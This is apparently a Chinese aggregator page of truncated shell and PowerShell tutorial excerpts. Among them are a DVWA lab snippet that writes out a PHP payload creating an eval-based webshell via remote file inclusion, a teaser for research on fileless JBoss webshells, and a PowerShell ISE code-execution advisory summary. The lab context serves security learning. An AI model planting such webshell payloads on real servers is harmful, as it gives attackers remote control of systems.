【shell函数】教程文章相关的互联网学习教程文章

xshell 安装遇到1603错误解决【图】

安装xshell时出现以下界面解决办法:在运行里输入regedit打开注册表编辑器 找到 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control 将 RegistrySizeLimit(REG_DWORD类型的) 的值改为 FFFFFFFF (10进制就是 4294967295,原值是8ca7290) 如果不存在该值就创建一个 重新启动计算机2次,注意是2次这也是导致Windows Modules Installer服务无法启动的原因 出现这个问题的主要原因是对注册空间进行了限制,只要修正过来就可以了 —...

PowerShell ISE/文件名解析缺陷远程执行代码漏洞#RCE【代码】

https://vulners.com/zdt/1337DAY-ID-32642 基础信息ID 1337DAY-ID- 32642 类型 zdt Reporter hyp3rlinx 修改后的 2019-05-03 00:00:00描述 在调试包含数组括号作为文件名一部分的特制PowerShell脚本时,Microsoft Windows PowerShell ISE将执行错误提供的代码。这可能导致ISE执行由文件名指向的攻击者提供的脚本,而不是当前加载主机应用程序中用户查看的“可信”PS文件。这破坏了PowerShell ISE的完整性,允许潜在的意外远程代码...

Shell总结【代码】【图】

一、shell 变量1、自定义局部变量#等号两端不能有空格 var_name=liming #打印变量值 echo $var_name #使用花括号可以用于字符串拼接 echo ${var_name}123 #删除变量 unset $var_name  2、自定义常量var_name=liming #设置为只读 readonly var_name3、自定义全局变量局部变量只能在一个文件中使用,全局变量在当前脚本文件和子shell脚本文件中都可以使用。export var_name=jenny #删除 unset var_name  4、特殊符号变量$n#获取文...

使用shell巧妙高效的批量删除历史文件或目录

背景:有实时产生的数据按小时分文件保存,如“/data/2013/09/18/14.txt”。现需要保留30天的最新数据,而删除所有其它的历史数据。注意“保留30天的最新数据”,可能不是连续的30天,中间若某一天数据缺失,也必须把最新的30天的数据保留下来。 思路:获取所有数据路径列表,去除最新30天的数据路径,然后遍历删除。若是使用脚本语言来开发(如php,python),循环获取路径列表的代码就已经比较臃肿了,效率也不高,特别是文件目...

JBOSS 无文件webshell的技术研究【代码】【图】

前几篇文章主要研究了tomcat,weblogic的无文件webshell。这篇文章则重点研究jboss的无文件webhsell。下面分享一下思路 以下分析基于 jboss 社区版 wildfly-20.0.0.Final版本 0x01 wildfly 加载Filter分析 在Filter处随便打一个断点,如图,观察堆栈jboss比较简单,处理Filter的代码如下所示 io.undertow.servlet.handlers.FilterHandler#handleRequestpublic void handleRequest(HttpServerExchange exchange) throws Exception ...

shell语言学习【图】

第一章:shell语言概述第二章:shell解析器第三章:shell脚本入门赋予权限: 第四章:shell中的变量第五章:运算符第六章:条件判断第七章:流程控制注:while后面会有一个空格 第八章:read读取控制台输入第九章:函数第十章:shell工具(*****)结果: 注: 1. 2.正则:以root开头的表示 ^root空行–正则表示:^$ 注:切IP 正则表达式的教程:grep教程

Powershell-批量互换域用户属性信息【图】

需求描述:因生产环境数据接口需求,需要对某时间段已上线用户属性进行批量互换,涉及字段EmployeeNumber,EmployeeID环境信息:Windows Server 2012 R2 ActiveDirectory操作步骤:PS.操作之初,建议先对当前环境属性字段进行备份导出操作。方法一:1.过滤出某时间段创建帐户信息,并导出域帐号EmployeeNumber,EmployeeID字段;$date=Get-Date $oldday=(Get-Date).AddDays(-180) Get-ADUser -Filter * -Properties * -SearchBase "OU...

shell三剑客之grep

背景 对于很多的测试人员来说,grep命令都很熟悉,用的最多的比如去查找指定的进程:ps -ef | grep *** ,其中***为进程名或进程号,这里我们只用到的grep的最基础功能-从标准输出中过滤指定的字符串,实际上grep的功能远不止如此。这篇文章给大家来介绍下grep的进阶及高阶用法,来帮助我们在测试工作中提升效率。 grep的全称:Global search Regular Expression and Print out the line,是一种强大的文本搜索工具,它能使用特定模...

[shell]修改ini配置文件【代码】

有配置文件config.ini,内容如下:[host] host_conf=appts.xxxx.com我想要修改host_conf=appts.xxxx.com(预生产环境)的内容为host_conf=appapi.xxxx.com(线上环境) 配置脚本如下:host=appapi.xxxx.com 测试数据 host_env="hostconf=${host}" #这里注意使用双引号 line=$(sed -n /host_conf/= config.ini)  #获取要修改文件的行号 newline=$(expr $line - 1)#计算插入文件的新的位置(后面使用追加方式修改文本,故这里上 line-1) ...

Shell:结构化语句【代码】

ver: 1.0 博客:https://www.cnblogs.com/Rohn 本文介绍了Shell常用的结构化语句。目录数组获取数组所有元素获取数组元素个数数组合并删除数组元素实例选择结构if-else语句基本格式if-elseif-elif-elsecase-in语句循环结构while语句死循环until语句for语句C语言风格的 for 循环for-in循环select-in语句breakcontinue函数函数定义函数调用函数参数 数组 数组(Array)是若干数据的集合,其中的每一份数据都称为元素(Element)。 Bash只...

Shell 脚本重启项目【代码】

每次发打包好项目后都需要手动重启项目,写个Shell脚本一键重启项目 Shell 脚本 #!/bin/bashwhile getopts "n:p:" arg docase $arg inn)echo "NAME's arg:$OPTARG"NAME=$OPTARG;;p)echo "PORT's arg:$OPTARG"PORT=$OPTARG;;esac donePROCESS=echo | lsof -i TCP:$PORT | grep LISTEN | awk '{print $2}' if [ $PROCESS ]; then kill -9 $PROCESS echo kill $NAME:$PROCESS, restart fi cd jenkins cp jar/.tmp/$NAME-0.0.1-SNAPSH...

Jenkins执行shell脚本时要设置权限

目前出现了一个问题,当我独自用shell脚本执行启动springBoot时 就可以注册到eureka上 如果用jenkins执行shell脚本时 就会出现注册不上去的情况2020-11-18 13:47:54.808 INFO 29482 --- [nfoReplicator-0] com.netflix.discovery.DiscoveryClient : DiscoveryClient_XIANNANSHAN-USER/172.17.165.145:xiannanshan-user:8060: registering service... 2020-11-18 13:47:54.994 INFO 29482 --- [extShutdownHook] com.netflix....

shell大杂烩

shell高级学习之正则表达式 更新时间:2019年05月31日 08:35:21 作者:秦广王 ?我要评论 ? 这篇文章主要给大家介绍了关于shell高级学习之正则表达式的相关资料,文中通过示例代码介绍的非常详细,对大家学习或者使用shell具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧 正则表达式概述 正则表达式是一种定义的规则,Linux工具可以用它来过滤文本。 基础正则表达式 纯文本?1 2 3 4[root@node1 ~]# echo "this i...

DVWA笔记:利用文件包含漏洞(低级)获取webshell【代码】【图】

DVWA中文件包含漏洞(远程文件包含) 一、利用kali虚拟机建立服务器,并建立x.txt文件作为远程上传文件: 1、开启kali服务器,输入命令 service apache2 start2、建立x.txt,在/var/www/html/目录下创建,内容为: <?fputs(fopen("shell60.php","w"),'<?php eval($_POST[moxi]);?>')?>该代码执行时,将会创建一个名为shell60.php的一句话木马文件。后期通过菜刀软件连接,密码为moxi。 二、文件上传 1、打开DVWA页面,将kali中的文...

PowerShell yarn 系统上禁止运行脚本的解决办法【图】

完成yarn安装 无法检测版本 yarn安装完成后 无法检测版本号 是因为在此系统上禁止运行脚本。 解决办法 : 1、搜索 powershell (电源外壳) - 右键选择 - 以管理员身份运行2、RemoteSigned (远程签名) 在本地计算机 给未签名的脚本执行签名 确保正常运行 执行:set-ExecutionPolicy RemoteSigned 执行:get-ExecutionPolicy 可以查看策略点赞 收藏分享文章举报前端开发程序员发布了0 篇原创文章 · 获赞 0 · 访问量 30私信 ...